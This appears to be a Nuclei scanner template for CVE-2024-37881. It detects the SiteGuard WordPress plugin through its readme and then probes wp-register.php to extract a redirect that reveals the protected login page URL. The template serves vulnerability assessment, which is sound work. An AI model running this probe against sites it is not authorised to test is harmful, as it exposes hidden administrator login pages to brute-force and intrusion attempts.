48 lines
1.6 KiB
YAML
48 lines
1.6 KiB
YAML
id: CVE-2024-37881
|
|
|
|
info:
|
|
name: SiteGuard WP Plugin <= 1.7.6 - Login Page Disclosure
|
|
author: securityforeveryone
|
|
severity: medium
|
|
description: |
|
|
The SiteGuard WP Plugin plugin for WordPress is vulnerable to protection mechanism bypass in all versions up to, and including, 1.7.6. This is due to the plugin not restricting redirects from wp-register.php which may disclose the login page URL. This makes it possible for unauthenticated attackers to gain access to the login page.
|
|
reference:
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-37881
|
|
- https://jvn.jp/en/jp/JVN60331535/
|
|
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/siteguard/siteguard-wp-plugin-176-login-page-disclosure
|
|
- https://www.usom.gov.tr/bildirim/tr-24-0726
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
publicwww-query: "/wp-content/plugins/siteguard/"
|
|
tags: cve,cve-2024,siteguard,wp-plugin
|
|
|
|
flow: http(1) && http(2)
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/wp-content/plugins/siteguard/readme.txt"
|
|
|
|
matchers:
|
|
- type: dsl
|
|
internal: true
|
|
dsl:
|
|
- 'status_code == 200'
|
|
- 'contains(body, "SiteGuard WP Plugin")'
|
|
condition: and
|
|
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/wp-register.php"
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- "!contains(tolower(location), 'wp-login.php')"
|
|
|
|
extractors:
|
|
- type: kval
|
|
kval:
|
|
- location
|
|
# digest: 490a004630440220626c7d016013362ce47d6c7477d4bbe7bc2b275ec56e1b302cfb114913e049b002207d3e94531b207d8af527042a27217c6f956d64dfa972af1fa649a6535966385e:922c64590222798bb761d5b6d8e72950 |